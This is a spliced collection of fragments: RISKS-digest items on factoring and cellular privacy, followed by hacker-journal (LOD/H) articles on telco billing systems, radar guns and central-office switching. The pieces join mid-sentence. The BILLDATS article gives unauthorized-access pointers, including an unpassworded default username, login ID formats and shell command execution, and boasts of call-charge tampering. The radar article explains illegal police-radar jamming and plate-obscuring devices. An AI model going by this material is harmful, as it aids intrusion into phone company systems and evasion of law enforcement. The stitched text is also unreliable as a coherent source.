more digits," he said, "because the problem gets exponentially worse as +you increase the size of the number." A larger number is more cumbersome, and +cryptographers had tried to kep the number as small as possible. + + [ explanation of the idea behind using large numbers with + prime factors in cryptography ] + + Last year, Lenstra decided to tackle the problem on "a small scale, just to +see if he could do it," according to Larry Arbeiter, spokesman for the Univ- +ersity of Chicago. "It was a pure science type of effort." + Several months ago, Lenstra presented his idea to Manasse, a computer re- +search scientist with Digital. Manasse became so intrigued with the problem +that his company agreed to fund much of the cost, including the use of more +than 300 computer processors at the Palo Alto company during off-duty hours. +The company manufactures DEC computers. + "I was interested in the general problem of taking a program and breaking it +up into small pieces" so that many could work simultaneously toward the sol- +ution, Manasse said. + Other computer enthusiasts from the "factoring community" clamored aboard +and this fall more than 400 computers around the globe were ready to give it a +try. + The computers ranged in size from microcomputers to a Cray supercomputer, +but even personal computers with large memories could have been used, Lenstra +said.

In my +opinion, they exaggerate this risk and underestimate another risk of mobile +phones, the complete lack of privacy in radio transmissions. + +Roughly 10 years ago I designed vehicle location controller hardware and +firmware used in the Washington-Baltimore cellular demonstration system. +That system led directly to products sold at least through the first +waves of cellular system construction a few years ago. + +Since cellular base stations have intentionally limited geographic coverage, +vehicle location is a requirement. This limitation is used to conserve radio +channels; one cell's frequencies can be re-used by others far enough away in +the same metropolitan area. The cell system must determine which cell a mobile +user is located in when he begins a call, and when during a conversation a +vehicle crosses from one cell into another. Cells are set up perhaps 3 to 20 +miles in diameter and range from circular to very irregular shapes. Cellular +phone systems are designed with ample margins so that statistically very few +calls will be lost or have degraded voice quality. + +Making this system work does not require anything so fancy as +triangulation. Vehicle location needs to be only good enough to keep +signal quality acceptably high. John Gilmore explained in RISKS 7.58 +how this works while the mobile phone is on-hook. During a +conversation, the base station periodically measures the signal strength +of an active mobile in its cell. When the signal strength goes below a +threshold, adjacent cells measure the mobile's signal strength. This +'handoff trial' procedure requires no interaction with the mobile. If +the mobile was stronger by some margin in an adjacent cell, both the mobile +phone and the cellular exchange switch are ordered to switch to a channel and +corresponding phone line in e new cell. Since base stations commonly use +directional antennas to cover a full circle, mobiles could be reliably located +in one third of the cell area at best. Distance-measuring techniques advocated +by AT&T were not adopted because the added cost was too high for the modest +performance gain. + +Certainly a cellular phone system can locate a mobile at any time, and always +locates a mobile during a conversation. But the information is not +fine-grained enough to implement some of the schemes imagined by previous +writers. + +A more important risk is the risk of conversations being intercepted. The +public airwaves are simply that: public. Scanner radios can easily be found or +modified to cover the cellular band, and listeners will tolerate lower signal +quality than cellular providers, hence one scanner can listen to cell base +stations over a wide area. The communications privacy law is no shield because +listeners are undetectable. To bring this back to risks of computers, +automated monitoring and recording of selected bile phones is probably beyond +the reach of the average computer hobbyist, but easily feasible for a +commercial or government organization using no part of the infrastructure +whatever, just the control messages available on the air. + +Wes Plouff, Digital Equipment Corp, Littleton, Mass. +plouff%nac.dec@decwrl.dec.com + +------------------------------ + +Date: 28 Sep 88 10:10:47 +0100 (Wednesday) +From: Peter Robinson +Subject: Re: Risks of cellular telephones + +As a radio amateur, I have always been taught that using mobile transmitters +near petrol stations is bad form - the radiation from the transmitter can +induce currents in nearby metalwork and perhaps cause a spark.

BILLDATS is just one part of the billing picture. +Before I began working for the government, I was a Telco employee and thus, +the information within this article has been learned through experience. +Unfortunately, I was only employed for a few months (including training on +BILLDATS) and am still learning more about the many systems that a telco uses. +There are however, a couple of lists that were compiled and slightly modified +from what little reference material I could smuggle out and my notes from the +training class. This article does require a cursory knowledge of telco and +computer operations (ie. switching, SCCS, UNIX). + + +INTRODUCTION - +============== + +BILLDATS - BILLing DATa System + +BILLDATS can be explained in a nutshell by the acronym listed above. If it's +one thing telecommunications providers do well, it's creating acronyms. +Basically, BILLDATS collects billing information (that's why they call it a +Collector) from AMATs (Automatic Message Accounting Transmitters). The AMATs +are situated in or close to switching offices and are connected to BILLDATS +either through dedicated or dial-up lines. BILLDATS can be considered as +the "middleman" in the billing process. The system collects, validates, and +adds identification information regarding origination and destination. This +is then transferred to tape (or transmitted directly) to the RPC (Regional +Processing Center) or the RAO (Revenue Accounting Office). The RPC/RAO +actually processes the billing information. Typically the BILLDATS system is +located in the same or adjoining building (but can be across town) to +the RPC/RAO. + +BILLDATS is similar to many other phone company systems (ie. SCCS) as it uses +a combination of software. The software base is UNIX and the BILLDATS Generic +program runs on it. The hardware used is an AT&T 3B20 (this is what 5ESS +switches use). + +Some of the more interesting features BILLDATS possesses are: + +* Can be accessed via dialup (always a plus). +* Runs under UNIX (another plus). +* Interface with SCCS (yet another plus). +* Can store about 12 million calls for the first two disks and about + 8 million calls for each additional disk. A total of 6 (675 MB) disks + can be used. +* Inserts the sensor type and ID and recording office type and ID onto + every AMA record that it collects. +* Capable of collecting information from nearly 600 AMATs. + +To better understand how/why you get a bill after making long distance phone +calls, I have delineated the steps involved. + +You call Hacker X and tell him all about the latest busts that have occurred, +he exclaims "Oh Shit!" hangs up on you and throws all his hacking information +into the fireplace. The actual call is referred to as a call event. As each +event happens (upon termination of the call) the event is recorded by the +switch. This information is then sent via an AMA Transmitter which formats the +information and then sends it to BILLDATS (commonly called a "Host +Collector"). BILLDATS then provides the information to the RAO/RPC. The +billing computer is located at the RAO/RPC. Do not confuse the actual billing +system with BILLDATS! The billing computer: + +* Contains customer records +* Credit ratings (in some telcos) +* Totals and prints the bill +* Generates messages when customers do not pay (ie. last chance and + temporary termination of service) + +When the billing period is over, (typically 25-30 days), many events (it +depends on how many calls you have made) have accumulated. A bill is then +generated and mailed to you. + + +COLLECTION - +============ + +BILLDATS collects information in two ways: + +1. AMATs +2. Users + +AMAT input +---------- + +BILLDATS collects data from the AMAT either directly from the switch, or from +a front end which performs some processing on the data before giving it to +BILLDATS. The data I am talking about here is usually AMA billing information. +The information is in the usual AMA format (see Phantom Phreaker's article in +the LOD/H Technical Journal, Issue #3 on AMA for formats and other info). As +I said earlier, the recording office and sensor types and IDs have to be +added by BILLDATS. The other information that is transmitted is usually +maintenance data. + +The data that is transferred between BILLDATS and an AMAT is accomplished +over either dedicated or dialup lines using the BX.25 protocol. This protocol +has been adopted by the telecommunications industry as a whole. It is +basically a modified version of X.25. + +User input +---------- + +This is simply sysadmin and sysop information. + + +INSERTED INFORMATION - +====================== + +Once the information is collected, additional data (mentioned earlier) +must be inserted. The information that BILLDATS inserts into the AMA records +it receives depends on whether the AMAT is a single or multi-switch AMAT. +Either way, the data is passed through the DEP. The DEP is a module which +is part of the LHS (Link Handler Subsystem) that actually inserts the +additional data. It also performs other functions which are rather +uninteresting to the hacker. The LHS manages the x-mission of all the +collected information. This is either through dedicated or dialup lines. The +LHS is responsible for: + +* Logging of statistics as related to the performance of links. +* Polling of remote switches for maintenance and billing information. +* Passing information to the DEP in which additional information is + inserted. +* Storing billing information. +* Other boring stuff. + + +AMATS - +======= + +Basically an AMAT is a front end to the switch. The AMAT: + +* Gets AMA information from the switch. +* Formats and processes the information. +* Transmits it to BILLDATS. +* An AMAT can also store information for up to 1 week. + +The following is a list of switches and their related AMAT equipment that +BILLDATS obtains billing information from: + +1A ESS: This is usually connected to a 3B APS (Attached Processor System) or + BILLDATS AMAT. +2ESS: This is connected to an IBM Series 1 AMAT. +2BESS: Connected to a BILLDATS AMAT. +4ESS: Connects to 3B APS. +5ESS: Direct connection. +TSPS 3B:Direct connection. +DMS-10: Connects to IBM Series 1 AMAT. + +There are other AMATs/Switches but they must be compatible with the BILLDATS +interface. + + +ACCESSING BILLDATS - +==================== + +Even though a system is UNIX based, that doesn't mean that it is a piece of +cake to get into. Surprisingly (when you think about the average Intelligence +Quotient of telco personnel) but not surprisingly (when you consider that the +information contained on the system is BILLING information--the life blood of +the phone company) BILLDATS is a little more secure than your average telco +system, except for the fact the all login IDs are 5 lower case characters or +less. BILLDATS can usually be identified by: + +bcxxxx 3bunix SV_R2+ + +where: + +bc = B(ILLDATS) C(ollector). +xxxx = The node suffix. This is entered when the current Generic is installed. +3bunix = This simply indicates that UNIX is running on an AT&T 3Bxx system. +SV_R2+ = Software Version. + +The good news is that there is a default username when the system is +installed. The bad news is that upon logon, the system forces you to choose a +password. The default username is not passworded initially. The added security +feature is simply that the system forces all usernames to have passwords. If +it doesn't have an associated password, the system will give you the message: + +"Your password has expired. Choose a new one" + +A 6-8 character password must then be entered. After this you will be asked +to enter the terminal type. The ones provided are AT&T terminals (615, 4425, +and 5420 models). Once entered a welcome message will probably be displayed: + +"Welcome to the South Western Bell BILLDATS Collector" +"Generic 3, Issue 1" +"Tuesday 01 Aug 1989 12:44:44 PM" + +dallas> + +The BILLDATS prompt was displayed "dallas>" where dallas is the node name. + +There are 3 privilege levels within BILLDATS: + +1. Administrator +2. Operator +3. UUCP + +* Administrator privs are basically root privs. +* An account with Operator privs can still do about anything an Admin can do + except make data base changes. +* UUCP privs are the lowest and allow file transfer. + + +Commands +-------- + +Just like SCCS, UNIX commands can be entered while using BILLDATS. The format +is: + +dallas>run-unx:$unix cmd; + +All unix commands must be preceded by "run-unx:" and end with a semicolon ";". +The semicolon is the command terminator character (just like Carriage Return). + +BILLDATS isn't exactly user friendly, but it does have on-line help. There are +a number of ways that it can be obtained: + +dallas> help-?; or help-??; or ?-help; or ??-help; + +If you want specific help: + +dallas> help-(command name); + +I can list commands forever, but between UNIX (commands every hacker should +be familiar with) and help (any moron can use it), you can figure out which +ones are important. + + +Error Messages +-------------- + +Just like SCCS, BILLDATS has some rather cryptic error messages. There are +thousands of error messages, once you know a little about the format they +are easier to understand. When a mistake is made, something similar to +the following will appear: + +UI0029 (attempted command) is not a valid input string. + + ^ ^- error message information + | + |-- This is the subsystem and error message number + +The following is a brief description of subsystem abbreviations: + +BD: BILLDATS system utilities. Errors associated with the use of utility + programs will be displayed. +DB: Data Base manager. These messages are generated when accessing or + attempting to access the various Data Bases (explained later) within + BILLDATS. +DM: Disk Manager. Basically, information pertaining to the system disk(s). +EA: Error and Alarm. As the name implies, system errors and alarms. +LH: Link Handler. Messages related to data link activity, either between + BILLDATS and the AMAT or BILLDATS and the RAO/RPC. +SC: Scheduler. The scheduler is BILLDATS' version of the UNIX cron daemon. + BILLDATS uses cron to schedule things like when to access remote systems. +TW: Tape Writer. Messages related to storing billing information on tapes + which will then be transported to the RAO/RPC. +UI: User Interface. This was used in the above example. Displays syntax, + range or status errors when entering commands. +DL: Direct Link. Instead of BILLDATS information being written to tape, a + direct link to the RPC/RAO mainframe (the actual billing system computer) + can be accomplished. This is usually done when BILLDATS is located far + away from the RPC/RAO office as there is always some risk involved in + transporting tapes, and that risk increases the farther away the two + offices are. Another neat thing about Direct Link is that the billing data + can be sent across a LAN (Local Area Network) also. Obviously this incurs + some concerns regarding security, but from what I have heard and seen, + AT&T and the BOC's typically choose to ignore the security of their + systems which suits me just fine. The Direct Link is an optional BILLDATS + feature and if it is in use, messages related to its operation are + displayed with the DL prefix. + + +BILLDATS DATA BASES - +===================== + +The databases contain all kinds of useful information such as usernames, +switch types, scheduled polling times, etc. + +The AMAT Data Base contains: + +* Type of switch +* Sensor type and identification +* AMAT phone number +* Channel and port number/group +* Other boring information + +The Port Data Base contains: + +* Communications information (like L-Dialers on UNIX Sys. V) +* Channel and port information +* Other boring information + +The Collector Data Base contains: + +* Collector office ID +* Version number of the Data Base +* Number and speed of any remote terminals +* When reports are scheduled for output +* Other boring information + + +CONCLUSION - +============ + +If you are not technically oriented, I hope this article helped you understand +how you get your bill. I assumed that you would skip over the commands for +using BILLDATS and similar information. + +If you are technically oriented, I hope I not only helped you understand more +about the billing process, but also increased your awareness of how detailed +the whole process is. And if you do happen to stumble onto a BILLDATS system, +you have been pointed in the right direction as far as using it correctly is +concerned. + +I tried to leave out all the boring details, but some may have slipped by me. +I reserved the right to omit specific details and instructions regarding any +alteration or deletion of calls/charges for my own use/abuse. + +The Rogue Federal Agent + + + [ End Of Article ] + +The LOD/H Technical Journal, Issue #4: File 03 of 10 + + + The Radar Guidebook + by + Professor Falken + + +----------------------------------------------------------------------------- + + Anyone who has driven a car without a radar detector before, has gotten +that paranoid feeling that the cops are around radaring. This feeling is not +a nice one; it is the feeling that somewhere somehow someone is watching you. +In this article I will attempt to explain how radar guns work, what bands +the guns work on, why they are wrong 70% of the time, how to employ stealth +technology in defeating the radar, and last but not least jamming the radar. + + RADAR stands for RAdio Detecting And Ranging. A speed-radar gun works +under the Doppler theory. This theory is that when a signal is reflected off +an object moving toward you, the signal will be at a higher frequency than the +initial frequency, this increase in frequency is used to calculate speed. +Many of you have experienced the Doppler effect, which occurs when a noise +from a siren increases in strength (gets louder) as it approaches and +decreases in strength (gets softer) as it moves away from you. + + Right now in the United States, there are three bands that are Federal +Communication Commission (FCC) certified for "field disturbance sensors", +known to you and me as radar guns. These bands have proper non-technical +names, and all operate in the GigaHertz range. GigaHertz is a measure of +frequency; one GHz equals one billion cycles per second. Most frequency +modulation (FM) radio broadcasts are made in the 0.088 GHz to 0.108 GHz band, +in MegaHertz that is 88 MHz to 108 MHz. The three proper names for these +radar bands are: X, K, and Ka. + + One of the older radar bands is the X band. X band radar is the most +commonly used radar band in the United States. X band radar transmits its +signal at 10.5250 GHz. The wattage of the radar's signal really depends upon +the gun manufacturer. However, most manufacturers agree that a 100 milliwatt +signal is "High-Power" and the 40 milliwatt range is "Low Power". The gun's +range also depends upon the manufacturer. The average maximum range of a X +band gun is 2500 feet. That estimate is based on the assumption that the gun +is operating at full-strength (100mw). Most radar detectors give off a +false signals on this band due to ultrasonic motion detectors employed +by various burglar alarm systems. Large grocery stores also use these to +open the doors magically as you walk in or out. + + Another older band is K band. K band operates on 24.150 GHz and is not as +popular as X band, but it is gaining in usage throughout the country. The +normal signal strength of K band guns again depends upon the manufacturer, +but the ones I've seen all operate at 100 milliwatts at high-power. These +guns have a maximum range of 3000 feet, assuming they are at 100mw signal +strength. + + A new type of radar has been introduced and assigned a frequency by the +Federal Communications Commission. This new band has been assigned the name +Ka and has been designated a frequency of 34.360 GHz. Current Ka technology +gives the gun a maximum effective range of 40 to 200 feet. This band +was originally made for use with photo-radar. The photo-radar can be set up +on a tripod on the side of the road or in the back of a police car. The +user then triggers a button when he wants a car in the guns range +clocked, automatically taking a picture of the car & license plate. +At the time the photograph is taken a date and time is imprinted on the +picture. The police keep one duplicate for archival purposes and sends the +other to the registered owner of the car along with ticket information and the +amount due. This type of system can only work in places that hold the owner +of a vehicle responsible for any violations that occur with the car. The +legal barriers for photo radar to overcome are extensive, most notably, not +giving the vehicle owner due process and the presumption of guilt. There is +a system out now for $19.95 that defeats Ka band photo radar. I expect it to +be illegal VERY QUICKLY once Ka is more widely used. This little baby slips +over your license plate and acts as venetian blinds. When looking straight at +the plate it looks like a normal plate with a black frame. However when +looking at it from a Ka band Photo Radar's angle it looks like a license plate +with a silver streak covering the whole plate, making it impossible to +identify. This device is called the Photobuster and is available from +most radar detector specialty stores. + + There are two different types of radar guns. They are Instant-On/Pulse and +Constant Broadcasting Radar. The names are self-explanatory, but I will +explain them anyway. The constant broadcast radar continually transmits +its radar signal, and anything in its path will be clocked. Instant-On & +Pulse radars are basically identical, and are both very deadly since they are +harder to detect as a threat. The Instant-On gun is really nothing more than +an ON/OFF switch for signal transmission. In order to have a pulse gun, all +a cop has to do is purchase one with a "HOLD" feature or just turn the gun +on when he/she wishes to use it. The "HOLD" feature is simply a button that +keeps the gun on but makes sure no signal is being transmitted. No one can +detect a gun that is off or in "HOLD" mode. An officer using an Instant-On +radar gun will periodically check the speed of the traffic. These samplings +can easily be detected and will give the user of a detector prior warning to +a Instant On/Pulse activated radar gun. + + Many detectors on the market today provide anti-falsing circuitry. Falsing +is the triggering of the radar detector from something other than a radar gun. + + One or two detector manufactures make their detectors with GaAs diodes. +GaAs diodes are Gallium Arsenide diodes which are a military grade electrical +component that helps produce a good signal-to-noise ratio. + + All new model radar detectors use Superheterodyne technology. +Superheterodyne, also known as active technology, amplifies all incoming +signals hundreds of times, which makes it more sensitive and selective as to +which signals will trigger an alert. Superheterodyne technology also gives +out a minute internal radar signal of its own, which can be picked up by older +(Pre/Early 1980's) non-anti-falsing radar detectors. If you have a newer +model radar detector, this small internally generated signal is no problem to +your's or anyone's anti-falsing radar detecting unit. NOTE: In states +where radar detectors are illegal (Ex. Virginia, Canada) the police have +devices which detect this Superheterodyne signal. Police can then stop +you and confiscate your detector. Getting around this police tactic +would be to use an early radar detector without Heterodyne/Superheterodyne +detection technology. + + Many compact/shirt pocket radar units are "exclusively made with SMD's". +These SMD's are Surface Mounted Devices and contain extremely small resistors, +transistors, diodes, and capacitors. Just because a manufacturer uses SMD's, +that does NOT make the unit any better than a larger detector of the same age. + + Cincinnati Microwave Inc., the makers of Escort and Passport say they have +the exclusive technology for the detection and anti-falsing of RASHID VRSS +technology. RASHID VRSS is actually the Rashid Radar Safety Brake Collision +Warning System. It is an electronic device that operates on K band +frequencies and warns heavy trucks and ambulances of hazards in their path. +About 900 RASHID VRSS units have been prototyped in three states. Since the +number of actual operating RASHID units is so minute, I really doubt you will +run into one. + + There are two ways a radar gun can produce an incorrect speed reading. +These are known as the Cosine Error and Moving Radar Error. The Cosine Error +occurs when a radar gun gives a lower reading than the actual speed of the +target. This occurs because the gun can only measure the doppler shift that +occurs directly towards or away from the antenna. If the object moves at an +angle to the gun, the shift will be lower than if it moves directly at the +antenna. Therefore the reading the radar gun gives will be less than the +actual speed of the object. The radar reading can be calculated by taking +the Actual Speed times the cosine of the incidence angle. So if the target +car's actual speed is 50 miles per hour and it is 37 degrees off of the +mainline radar signal, the radar speed will be 40 miles per hour. Look: + +Cosine Error Theory: +Actual Speed x Cosine of Incidence Angle = Radar's Shown Speed + +Cosine of 37 degrees is 0.80 +50 MPH x 0.80 = 40 MPH + +So if you see a radar enabled cop coming head-on towards you it would be a +good idea to get into the right hand lane, or further if possible, as this +increases the angle and thus lowers your radar speed. The other error is the +Moving Radar Error, which occurs only when a police car is using a moving +radar gun. A false reading is obtained by the unit because before it +can radar you it must radar something along side the road to get the patrol +car's speed. Most often, billboards and parked cars are used for this initial +patrol car speed calibration. It is susceptible to errors because of the +Cosine Error, mentioned above. Once the patrol car has its speed (wrong or +not), it assumes that the target's (YOU) speed is the difference between the +highest oncoming signal and the patrol speed; but if the patrol speed is lower +it will ADD that error on to the target speed. So the target speed (YOU) will +read higher than you were actually traveling. Here's the theory and a +problem: + +Moving Radar Theory: +Closing Speed - Patrol Speed = Target Speed + +The ACTUAL speeds for these are: +Patrol Car Speed - 60 MPH +Target Car Speed - 60 MPH +Closing Speed - 120 MPH + +Due to the Cosine Error the TARGET CAR's speed will cause the gun to +calculate a LOW reading for the actual patrol car's speed due to the cosine +error. + +The RADAR calculated speeds are: +Patrol Car Speed - 50 MPH +Target Car Speed - 70 MPH +Closing Speed - 120 MPH + +Thus you can see how the police car is going to get an incorrect reading. +This is a good one to memorize and bring into court for any tickets. + + It's been recently brought to my attention that there are stealth-bras for +cars. From what I understand, the bras actually absorb the radar, and reflect +such a weakened signal that the radar gun cannot detect it. I have not seen +one of these in person, but from what I have heard they are made out of a VERY +DENSE rubber/metal composite. The bra probably traps the signal very much +like the F-117/B-2 stealth aircraft do. The material is probably made up of +hexagonal shaped cells, the back of the cell being at a slight angle, so that +any signal coming into the cell will have to bounce around within the cell +before exiting it. The inside of each cell is filled with a radar absorbing +material. As the signal hits the back of the hexagonal cell it is bounced +around inside the cell through the absorbing material, weakening the signal +each time it does so. Upon leaving the cell, the signal is so weak the +radar's receiver may not pick up the signal until the target is near enough +to give a positive return on the radar screen. When the aircraft is getting +closer, within radar range, the signal reflected may be so small the radar's +controller may think he is picking up ground interference, a flock of birds +or possibly bad weather. The actual radar absorbing material is classified at +this time by the government. The actual composite on the car bra is certainly +not as good as the actual radar absorption material of the aircraft, but I'm +sure it is somewhat similar. + + Radar jamming is done very much the way any other type of radio jamming is +done. You simply overpower the frequency being used with a frequency of your +own. Radar jamming/overpowering is ILLEGAL in the United States. To jam a +signal all you need is a transmitter, an amplifier and an antenna. To jam a +gun using a K band radar (24.150 GHz) all you do is get a transmitter that can +transmit in the 20 GHz range and a 10-100 watt amplifier and antenna. Send +out a signal at around 24.05 GHz. This signal will make the cop's radar +either show a 0 or an incredibly slow speed such as -520. Usually the +cop's radar cannot show a negative sign, so it will just be 520. This +10-100 watt signal that you are transmitting will overpower the signal +his/her radar sent out and is waiting to receive. His/her gun is only at +100 milliwatts, and you're transmitting at 10-100 watts; its like using a +12-gauge shotgun against a rodent. + + Where can you get microwave transmission equipment? You can check local +electronic shops, satellite stores, Cable TV companies and local television +stations as to where they buy their microwave transmission gear. Or you can +buy a radar gun of your own, and leave it ON whenever your driving. This will +give the cop's gun a very strange reading, most likely zero. If it is +possible, once you have the gun bring it to a "corrupt" electronics shop and +have it modified for high powered transmission, preferably in the 10 to 100 +watt range. + + Some radar guns have resistors implemented just before the antenna, but +just after the amplifier for de-amplification of the transmitter's signal. +This means that most guns already have a good (1 watt or so) transmit +capacity, but it is suppressed to bring the actual transmit signal to the +100mw area. The owner of the gun only has to know which resistors to take +out, then he/she will have a functional high powered gun. If this small +wattage does not satisfy you, you may have to purchase a separate amplifier +for the gun, and have it wired directly into the radar's transmitter antenna. +This modification is expensive not to mention illegal, but then again what the +hell isn't these days. I have seen six different types of guns offered from +National Radar Exchange. The following are a few major radar gun +manufacturers that are sold out of most radar shops. They are: + +KUSTOM SIGNAL: +Kustom Signal HR-12 K Band 100mw signal 2000-3000 foot maximum range $695.00 +Kustom Signal HR-8 K Band 100mw signal 1800-3000 foot maximum range $495.00 + +CMI INC.: +Speedgun One X Band 100mw signal 1000-2500 foot maximum range $395.00 +Speedgun Six X Band 100mw signal 1000-2500 foot maximum range $495.00 +(Since these units are the same, the only differences are things like +last speed reading recall, 10 number memory, etc.) + +MPH INC.: + +MPH K-55 X Band 40mw signal 1200-2500 foot maximum range $495.00 +(Can clock target in 1/2 second, which is exceptionally fast for radar guns) + +The only differences between the models are their bands and their options, +such as a "HOLD" button, last speed recorded etc. + + I have found these to be some of the top units in the radar detector world + currently and are listed as follows: + +MOST SENSITIVE MOST FEATURES BEST LOOKING MOST RELIABLE SMALLEST +-------------- ------------- ------------ ------------- ------------- +COBRA 4120 COBRA 4120 Whistler 3SE ESCORT Uniden RD-9XL +BEL 944 COBRA 3160 BELL 944 K40 Whistler 3SE +Snooper 6000 BELL 944 Uniden RD-9XL + + BEST VALUE LOUDEST BEST FILTERED +------------ -------------- ------------------ +Snooper 4000 COBRA 5110 Snooper 6000 +Cobra 5110 COBRA 3120 Other Snoopers +Cobra 3168 Whistler Q2002 +Maxon RD25 + + I did not get to see Cincinnati Microwave's new "SOLO", nor BEL's +"Vector 3", "Express", nor it's newer "Legend 3." + +Just because a detector is the MOST sensitive doesn't mean it is the best +detector.

Good, everyone should read this. With the time, +effort, and balls it has taken me compile this knowledge it is certainly worth +your time. I hope you appreciate me taking the time to write this. + + I should point out that the information in this article is correct to the +best of my knowledge. I'm sure there are going to be people that disagree +with me on some of it, particularly the references to tracing. However, I +have been involved in telecommunications and computers for 12+ years. + + I'm basing this article around the 1AESS since it is the most common +switch in use today. + + + ** OUTSIDE PLANT ** + + This is the wiring between your telephone and the central office. That is +another topic in itself. If you are interested read Phucked Agent 04's article +on The Outside Loop Distribution Plant (OLDP) in the LOD/H Technical Journal, +Issue #1. The article explains those green boxes you see on street corners, +aerial cables, manholes etc. So where that article stops, this one starts. + + + ** CABLE VAULT ** + + All of the cables from other offices and from subscribers enter the +central office underground. They enter into a room called the cable vault. +This is a room generally in the basement located at one end or another of the +building. The width of the room varies but runs the entire length of the +building. Outside cables appear through holes in the wall. The cables then run +up through holes in the ceiling to the frame room. + + Understand that each of these cables consist of an average of 3600 pairs +of wires. That's 3600 telephone lines. The amount of cables obviously depends +on the size of the office. All cables (e.g. interoffice, local lines, fiber +optic, coaxial) enter through the cable vault. + + + ** FRAME ROOM ** + + The frame is where the cable separates into individual pairs and attach +to connectors. The frame runs the length of the building, from floor to +ceiling. There are two sides to the frame, the horizontal side and the +vertical side. The vertical side is where the outside wiring attaches and the +protector fuses reside. The horizontal side is where the connectors to the +switching system reside. Multi-conductor cables run from the connectors to +actual switching equipment. So what we have is a large frame called the Main +Distribution Frame (MDF) running the entire length of the building. From floor +to ceiling it is 5 feet thick. The MDF consists of two sides, the VDF and the +HDF. Cables from outside connect on one side and cables from the switching +equipment connect to the other side and jumper wires connect the two. This way +any piece of equipment can be connected to any incoming "cable pair". These +jumper wires are simply 2 conductor twisted pair, running between the VDF and +the HDF. + + What does all this mean? Well if you had access to COSMOS you would see +information regarding cable and pair and "OE" (Office Equipment). With this +information you could find your line on the frame and on the switch. The VDF +side is clearly marked by cable and pair at the top of the frame, however the +HDF side is a little more complicated and varies in format from frame to frame +and from switch to switch. Since I am writing this article around the 1AESS, +I will describe the OE format used for that switch. + + OE ABB-CDD-EFF + + Where.. + + A = Control Group (when more than one switch exists in that C.O.) + B = LN Line Link Network + C = LS Line Switching Frame + D = CONC or CONCentrator + E = Switch (individual, not the big one) + F = Level + + There is one more frame designation called LOC or LOCation. This gives the +location of the connector block on the HDF side. Very simply, looking at the +frame: + + +H --------------------------------------------------------------------- + +G --------------------------------------------------------------------- + +F --------------------------------------------------------------------- + +E --------------------------------------------------------------------- + +D --------------------------------------------------------------------- + +C --------------------------------------------------------------------- + +B --------------------------------------------------------------------- + +A --------------------------------------------------------------------- + + 123456789 etc. + + Please note that what you are looking at here represents the HDF side of +the MDF, being up to 100 feet long, and 20 feet high. Each "-" represents a +connector block containing connections for 4 x 24 (which is 96) pairs. + + So far I've covered how the wires get from you to the switching +equipment. Now we get to the switching system itself. + + + ** SWITCHING SYSTEMS ** + + Writing an article that covers them all would be lengthy indeed.

A fully equipped 5ESS for a 40,000 +subscriber end office can cost well over 3 million dollars. Now you know why +your phone bill is so much. Well...maybe you parents bill. + + + ** The 1ESS and 1AESS ** + + This was the first switch of it's type put into widespread use by Bell. +Primarily an analog switch under digital control, the switch is no longer +being manufactured. The 1ESS has been replaced by the 5ESS and other full +scale digital switches, however, it is still by far the most common switch +used in today's Class 5 end offices. + + The #1 and 1A use a crosspoint matrix similar to the X-bar. The primary +switch used in the matrix is the ferreed (remreed in the 1A). It is a two +state magnetic alloy switch. It is basically a magnetic switch that does not +require voltage to stay in it's present position. A voltage is only required +to change the state of the switch. + + The No. 1 utilized a computer style, common control and memory. Memory +used by the #1 changed with technology, but most have been upgraded to RAM. +Line scanners monitor the status of customer lines, crosspoint switches, +and all internal, outgoing, and incoming trunks, reporting their status to +the central control. The central control then either calls upon program or +call store memories to chose which crosspoints to activate for processing the +call. The crosspoint matrices are controlled via central pulse distributors +which in turn are controlled by the central control via data buses. All of +the scanner's AMA tape controllers, pulse distro, x-point matrix, etc., listen +to data buses for their address and command or report their information on +the buses. The buses are merely cables connecting the different units to the +central control. + + The 1E was quickly replaced by the 1A due to advances in technology. So +1A's are more common, also many of the 1E's have been upgraded to a 1A. +This meant changing the ferreed to the remreed relay, adding additional +peripheral component controllers (to free up central controller load) and +implementation of the 1A processor. The 1A processor replaced older style +electronics with integrated circuits. Both switches operate similarly. +The primary differences were speed and capacity. The #1ESS could process +110,000 calls per hour and serve 128,000 lines. + + Most of the major common control elements are either fully or partially +duplicated to ensure reliability. Systems run simultaneously and are checked +against each other for errors. When a problem occurs the system will double +check, reroute, or switch over to auxiliary to continue system operation. +Alarms are also reported to the maintenance console and are in turn printed +out on a printer near the control console. + + Operation of the switch is done through the Master Control Center (MCC) +panel and/or a terminal. Remote operation is also done through input/output +channels. These channels have different functions and therefore receive +different types of output messages and have different abilities as for what +type of commands they are allowed to issue. Here is a list of the commonly +used TTY channels. + + Maintenance - Primary channel for testing, enable, disable etc. + Recent Change - Changes in class of service, calling features etc. + Administrative - Traffic information and control + Supplementary - Traffic information supplied to automatic network control + SCC Maint. - Switching Control Center interface + Plant Serv.Cent.- Reports testing information to test facilities + + At the end of this article you will find a list of the most frequently +seen Maintenance channel output messages and a brief description of their +meaning. You will also find a list of frequently used input messages. + + There are other channels as well as back ups but the only ones to be +concerned with are Recent Change and SCC maint. These are the two channels +you will most likely want to get access to. The Maintenance channel doesn't +leave the C.O. and is used by switch engineers as the primary way of +controlling the switch. During off hours and weekends the control of the +switch is transferred to the SCC. + + The SCC is a centrally located bureau that has up to 16 switches +reporting to it via their SCC maint. channel. The SCC has a mini computer +running SCCS that watches the output of all these switches for trouble +conditions that require immediate attention. The SCC personnel then have the +ability to input messages to that particular switch to try and correct the +problem. If necessary, someone will be dispatched to the C.O. to correct the +problem. I should also mention that the SCC mini, SCCS has dialups and access +to SCCS means access to all the switches connected to it. The level of access +however, may be dependent upon the privileges of the account you are using. + + The Recent Change channels also connect to a centrally located bureau +referred to as the RCMAC. These bureaus are responsible for activating lines, +changing class of service etc. RCMAC has been automated to a large degree by +computer systems that log into COSMOS and look for pending orders. COSMOS is +basically an order placement and record keeping system for central office +equipment, but you should know that already, right? So this system, called +Work Manager running MIZAR logs into COSMOS, pulls orders requiring recent +change work, then in one batch several times a day, transmits the orders to +the appropriate switch via it's Recent Change Channel. + + Testing of the switch is done by many different methods. Bell Labs has +developed a number of systems, many accomplishing the same functions. I will +only attempt to cover the ones I know fairly well. + + The primary testing system is the trunk test panels located at the switch +itself. There are three and they all pretty much do the same thing, which is +to test trunk and line paths through the switch. + + Trunk and Line Test Panel + Supplementary Trunk Test Panel + Manual Trunk Test Panel + + MLT (Mechanized Loop Testing) is another popular one. This system is +often available through the LMOS data base and can give very specific +measurements of line levels and losses. The "TV Mask" is also popular giving +the user the ability to monitor lines via a call back number. + + DAMT (Direct Access Mechanized Testing) is used by line repairmen to put +tone on numbers to help them find lines. This was previously done by Frame +personnel, so DAMT automated that task. DAMT can also monitor lines, but +unfortunately, the 